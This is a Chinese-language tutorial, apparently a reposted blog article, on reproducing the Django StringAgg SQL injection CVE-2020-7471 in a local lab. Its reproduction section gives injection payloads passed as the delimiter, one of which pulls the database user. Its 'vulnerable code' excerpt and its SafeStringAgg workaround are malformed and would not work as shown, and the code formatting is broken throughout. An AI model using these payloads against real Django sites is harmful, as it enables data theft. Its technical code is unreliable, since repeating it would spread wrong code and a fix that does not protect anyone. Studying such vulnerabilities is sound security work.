怎么进行CVE-2020-7471漏洞复现及浅析

发布时间：2021-12-18 18:29:11 作者：柒染
来源：亿速云阅读：259

# 怎么进行CVE-2020-7471漏洞复现及浅析

## 一、漏洞概述

**CVE-2020-7471**是Django框架中的一个SQL注入漏洞，于2020年2月3日被官方披露。该漏洞影响Django 1.11.x至3.0.x版本，主要存在于`django.contrib.postgres.aggregates.StringAgg`聚合函数中。由于对分隔符参数的不当处理，攻击者可构造恶意输入实现SQL注入。

### 受影响版本
- Django 1.11.x
- Django 2.2.x
- Django 3.0.x

### 修复版本
- Django 1.11.28
- Django 2.2.10
- Django 3.0.3

## 二、漏洞原理分析

### 1. 技术背景
Django的`StringAgg`聚合函数用于PostgreSQL数据库的字符串连接操作，其语法为：
```python
StringAgg(expression, delimiter, ordering=None)

其中delimiter参数未进行充分转义，导致攻击者可通过注入特殊字符（如单引号）破坏SQL语句结构。

2. 漏洞核心代码

在django/contrib/postgres/aggregates.py中，StringAgg类的as_sql方法存在缺陷：

def as_sql(self, compiler, connection):
    # ...省略部分代码...
    return '%s(%s%s)' % (
        self.function,
        ', '.join(expressions),
        ')',
    ), params

未对用户控制的delimiter参数进行参数化处理，直接拼接到SQL语句中。

三、漏洞复现环境搭建

1. 环境准备

# 使用Docker快速搭建环境
docker run --name django-pg -e POSTGRES_PASSWORD=123456 -p 5432:5432 -d postgres
pip install django==3.0.2 psycopg2-binary

2. 创建测试项目

# models.py
from django.db import models
from django.contrib.postgres.aggregates import StringAgg

class VulnModel(models.Model):
    name = models.CharField(max_length=100)
    description = models.TextField()

3. 配置数据库

# settings.py
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'postgres',
        'USER': 'postgres',
        'PASSWORD': '123456',
        'HOST': 'localhost',
        'PORT': '5432',
    }
}

四、漏洞复现步骤

1. 正常使用场景

from vuln_app.models import VulnModel
from django.contrib.postgres.aggregates import StringAgg

# 正常查询
queryset = VulnModel.objects.annotate(
    combined=StringAgg('name', delimiter='-')
)
print(queryset.query)  # 观察生成的SQL

2. 恶意payload构造

# 注入payload
malicious_delimiter = "')--"
queryset = VulnModel.objects.annotate(
    combined=StringAgg('name', delimiter=malicious_delimiter)
)
print(queryset.query)

3. 实际攻击演示

# 通过注入获取敏感信息
injection_payload = "') || (SELECT current_user))--"
queryset = VulnModel.objects.annotate(
    combined=StringAgg('name', delimiter=injection_payload)
)
print(queryset[0].combined)  # 输出包含数据库用户信息

五、漏洞深度分析

1. SQL语句对比

正常SQL:

SELECT STRING_AGG("vuln_model"."name", '-') AS "combined" FROM "vuln_model"

注入后SQL:

SELECT STRING_AGG("vuln_model"."name", '') || (SELECT current_user))--') AS "combined" FROM "vuln_model"

2. 漏洞利用限制

仅影响PostgreSQL后端
需要应用使用StringAgg聚合函数
攻击者需控制delimiter参数

3. 修复方案分析

官方补丁主要修改了as_sql方法：

def as_sql(self, compiler, connection):
    # 将delimiter作为参数传递
    return '%s(%s, %s)' % (
        self.function,
        ', '.join(expressions),
        '%s',
    ), params + [self.delimiter]

六、防御建议

立即升级Django到安全版本：
```
pip install --upgrade django
```
若无法立即升级，可重写StringAgg类： “`python from django.contrib.postgres.aggregates import StringAgg as BaseStringAgg

class SafeStringAgg(BaseStringAgg): def as_sql(self, compiler, connection): sql, params = super().as_sql(compiler, connection) return sql % (connection.ops.quote_value(params[-1]),), params[:-1]


3. 对所有用户输入进行严格验证

## 七、总结

CVE-2020-7471展示了ORM框架中可能存在的安全隐患，即使高级抽象层也可能因实现不当导致SQL注入。开发人员应当：
- 保持框架和依赖库的及时更新
- 对聚合函数等高级功能保持警惕
- 实施纵深防御策略

**漏洞修复关键点**：所有SQL参数必须通过参数化方式传递，而非字符串拼接。

---

> 本文仅用于安全研究学习，请勿用于非法用途。实际测试应获取系统所有者授权。

注：实际复现时需根据具体环境调整数据库配置和模型定义。完整复现建议在隔离的测试环境中进行。